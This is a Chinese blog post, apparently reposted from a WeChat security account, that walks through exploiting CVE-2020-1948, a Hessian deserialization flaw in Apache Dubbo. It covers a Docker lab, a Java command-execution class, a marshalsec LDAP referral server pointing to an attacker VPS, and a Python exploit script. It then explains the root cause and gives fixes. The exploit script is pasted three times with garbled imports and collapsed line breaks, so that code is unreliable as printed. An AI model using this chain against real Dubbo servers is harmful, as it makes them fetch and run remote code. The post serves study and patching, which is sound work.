【技术干货】Dubbo-CVE-2020-1948

渗透技巧 3年前 (2022) admin
943 0 0

【技术干货】Dubbo-CVE-2020-1948


APache Dubbo简介

Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东西,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSDL,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:

  • 远程通讯:提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。

  • 集群容错提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。

  • 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释:

【技术干货】Dubbo-CVE-2020-1948

async 异步

sync 同步

  • Provider :暴露服务方称为服务提供者

  • Consumer  :调用远程服务方称为服务消费者

  • Rrgister:服务注册与发现的中心目录服务称之为服务注册中心

  • Monitor:统计服务的调用次数和 时间的日志服务称为服务监控中心

  • Container:服务运行容器

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址:https://zookeeper.apache.org/releases.html

环境复现

影响版本:

Dubbo 2.7.0 – 2.7.6

Dubbo 2.6.0 – 2.6.7

Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

1. 编写java代码,进行简单的命令执行,这里以ping命令为例,用检测无回显的dnslog用于验证

import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;
public class exp { public exp(){ try { java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn"); } catch (java.io.IOException e) { e.printStackTrace(); } }}
2. 编译java代码为class文件

javac poc.java

最后得到class文件,这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因:下载的时候只执行了yum install java,导致不是完整的jdk

参考链接:https://www.cnblogs.com/sirdong/p/11987639.html

3. 启动静态网站服务,apache,nginx都可以,这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80
【技术干货】Dubbo-CVE-2020-1948
4. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接:

https://www.cnblogs.com/afanti/p/11266087.html

https://blog.csdn.net/whatday/article/details/107942941
LDAP:轻型目录访问协议(英文:Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。轻型目录访问协议(英文:Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments…>]]
参数说明:
  • – -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments – payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名

5. 编写python的脚本exp.py

在此之前,需要安装模块

pip install dubbo-py
# exp.py# -*- coding: utf-8 -*-
import sys

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient

if len(sys.argv) < 4: print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) print('nExample:nn- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource=sys.argv[3], strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )
resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 method_name='$invoke', args=[toStringBean])
output = str(resp)if 'Fail to decode request due to: RpcInvocation' in output: print('[!] Target maybe not support deserialization.')elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: print('[+] Succeed.')else: print('[!] Output:') print(output) print('[!] Target maybe not use dubbo-remoting library.') # exp.py# -*- coding: utf-8 -*-
import sys

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient

if len(sys.argv) < 4: print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) print('nExample:nn- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource=sys.argv[3], strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )
resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 method_name='$invoke', args=[toStringBean])
output = str(resp)if 'Fail to decode request due to: RpcInvocation' in output: print('[!] Target maybe not support deserialization.')elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: print('[+] Succeed.')else: print('[!] Output:') print(output) print('[!] Target maybe not use dubbo-remoting library.')
6. 执行相应的py脚本python exp.py 目标vps ldap://己方vps:777/exp出现success的时候,说明成功
【技术干货】Dubbo-CVE-2020-1948
然后观察dnslog,也可以发现回显
【技术干货】Dubbo-CVE-2020-1948

同时我们可以留意一下相关的LDAP服务,当出现转发成功的时候,自然也是成功的。

【技术干货】Dubbo-CVE-2020-1948
参考文章:

https://blog.csdn.net/weixin_46137328/article/details/107194560?utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-1.base&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-1.base

原理研究

poc1

# exp.py# -*- coding: utf-8 -*- import sys 
from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient
if len(sys.argv) < 4: print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) print('nExample:nn- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2])) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource=sys.argv[3], strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )
resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 method_name='$invoke', args=[toStringBean])
output = str(resp)if 'Fail to decode request due to: RpcInvocation' in output: print('[!] Target maybe not support deserialization.')elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: print('[+] Succeed.')else: print('[!] Output:') print(output) print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/#ExportObject", strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )
resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService', method_name='rce', args=[toStringBean])

不难发现,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用。

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖。
<dependency>    <groupId>com.rometools</groupId>    <artifactId>rome</artifactId>    <version>1.7.0</version></dependency>

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法。
【技术干货】Dubbo-CVE-2020-1948

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

【技术干货】Dubbo-CVE-2020-1948

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

【技术干货】Dubbo-CVE-2020-1948
dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

【技术干货】Dubbo-CVE-2020-1948
堆栈利用链
connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)toString:158, ToStringBean (com.rometools.rome.feed.impl)toString:129, ToStringBean (com.rometools.rome.feed.impl)beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)hashCode:180, EqualsBean (com.rometools.rome.feed.impl)hash:339, HashMap (java.util)put:612, HashMap (java.util)doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)received:44, DecodeHandler (org.apache.dubbo.remoting.transport)run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

7. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。

8. 升级 2.7.7 版本,并根据

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验

9. 禁止将 Dubbo 服务端端口开放给公网,或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放

10. Dubbo协议默认采用 Hessian 作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章:

https://www.cnblogs.com/JingQ/p/13329083.html
https://www.cnblogs.com/zhengjim/p/13204194.html
https://www.cnblogs.com/zhengjim/p/13204194.html
https://paper.seebug.org/1266/#apache-dubbo

往期 · 推荐


【技术干货】Dubbo-CVE-2020-1948
【技术干货】Dubbo-CVE-2020-1948
【技术干货】Dubbo-CVE-2020-1948

【技术干货】Dubbo-CVE-2020-1948


【技术干货】Dubbo-CVE-2020-1948


原文始发于微信公众号(星阑科技):【技术干货】Dubbo-CVE-2020-1948

版权声明:admin 发表于 2022年2月9日 上午3:04。
转载请注明:【技术干货】Dubbo-CVE-2020-1948 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...